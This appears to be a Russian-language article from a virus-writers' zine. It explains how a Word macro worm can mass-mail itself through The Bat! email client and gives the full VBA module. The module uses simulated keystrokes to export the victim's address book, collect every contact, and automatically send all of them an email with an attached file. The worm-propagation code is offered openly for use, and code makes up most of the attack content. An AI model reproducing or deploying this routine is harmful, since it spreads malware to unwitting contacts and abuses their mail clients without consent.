- [Digital Virus Labs #11] - [Page 30] - VBA-черви в клиентах без поддержки VBA. (На примере The BAT!) (c) by Gobleen Warrior/SMF Подумал я как-то, а как бы добиться возможности работы с почтой для макровирусов, если на машине не установлен или не используется как основной почтовый клиент MS Outlook? У бинарных червей все проще - им позволено больше, чем макро. Правда многое из их арсенала доступно и в макро, но уж очень мне захотелось сделать все не как у людей. А точнее - через... Ну вобщем по другому. Мои соображения в виде макроса MS Word97 находятся чуть ниже, а пока несколько вступительных слов. Нижеприведенный код отличается 1. Корявостью 2. Нестабильностью 3. Абсолютным отсуствием гарантий работоспособности в клиентах The Bat! версий, отличных от 1.46d в силу возможных отличий в местоположении управляющих кнопок 4. Кроме всего прочего, код крайне смешной и может рассматриваться как иллюстрация к анекдотам из серии про тупых ламеров. Почему именно The Bat!? Потому что я сам его использую, и мне он кажется достаточно хорошим, по крайней мере лучше Outlook, а чем лучше программа, тем сильнее хочется оказаться умнее ее :))) А вообще при модификации кода этот метод может использоваться практически во всех клиентах, так что это не суть важно. Правда надо сказать, что такой красоты кода и качества работы, как с Outlook, это метод не дает, что вкупе с вышеприведенными минусам не очень хорошо характеризует данный метод. Тем не менее, идея такова: есть в VB/VBA такая функция, как SendKeys, предназначенная для программной имитации ввода с клавиатуры в активное окно. Эту функцию я использую для эмуляции нажатия всех кнопок, необходимых для получения адресов из записной книжки The Bat!, создания писем, прикрепления к ним файла, и отсылки его. Минусы, как уже было сказано, у этого метода есть, и весьма значительные - уж очень нестабилен код. Но тем не менее, возможно свести эту нестабильность к минимуму. По крайней мере попытаться. Собственно, код представляет из себя модуль VBA, содержащий примерный образец реализации описанной выше идеи, но в виде тестовой версии - только самого процесса генерации и отправки писем с прикрепленными файлами. <------------------------------ РЕЗАТЬ ТУТА ------------------------------> Attribute VB_Name = "TheBat" ' Инициализация и запуск всего необходимого для создания рабочих условий Sub Do_Our_Job() On Error Resume Next Ass = Shell("C:\Program Files\The Bat!\thebat.exe", vbMinimasedFocus) If Ass = 0 Then MsgBox ("Ошибка! The Bat! не запущен"), vbCritical Else w8 (5) Do_Shit End If End Sub ' Следущая процедура нужна для создания пауз выполнения, необходимых для ' успешного завершения предыдущих вызову ее команд. Sub w8(How) secs = Second(Now()) + How If secs > 60 Then secs = secs - 60 While Second(Now()) <> secs Wend End Sub ' Собственно, основная рабочая функция. Sub Do_Shit() 'Для правильного выполнения кода, следующего дальше, необходимо, 'чтобы фокус был наведен на TheBat! и юзер нифига не трогал, 'либо перед каждым sendkeys нужно ставить фокус на нужное окно 'Экспортировать записную книгу SendKeys "{F8}", True SendKeys "%", True SendKeys "{DOWN 5}", True SendKeys "{RIGHT}", True SendKeys "{DOWN 2}", True SendKeys "~", True SendKeys "c:\temp~", True SendKeys "%({F4})", True 'Засунуть все доступные записи в строку Set FSO = CreateObject("Scripting.FileSystemObject") Set All = FSO.OpenTextFile("c:\temp.txt") Adresses = All.ReadAll All.Close Kill ("c:\temp.txt") 'Привести к нормальному виду - строке адресов через запятую For x = 1 To Len(Adresses) Step 1 a = Mid(Adresses, x, 1) If a = vbCr Then a = ";" ElseIf a = vbLf Then a = " " End If strAdress = strAdress & a Next 'Создать письмо SendKeys "^(n)", True SendKeys strAdress, True 'Приаттачить файл "c:\attach.txt" SendKeys "%({PGUP})", True w8 (1) SendKeys "c:\attach.txt~", True 'Немедленно отправить письмо w8 (1) SendKeys "^(~)~", True SendKeys "{ESC}", True End Sub <------------------------------ РЕЗАТЬ ТУТА ------------------------------> Описание функции SendKeys и всех используемых ей комбинаций клавиш, как я надеюсь, доступно, в связи с широким распространением VB/VBA в мире. Поэтому я не буду приводить здесь две страницы из справочника, с описанием всего этого, за что заранее прошу прощения. Gobleen Warrior/SMF, 1901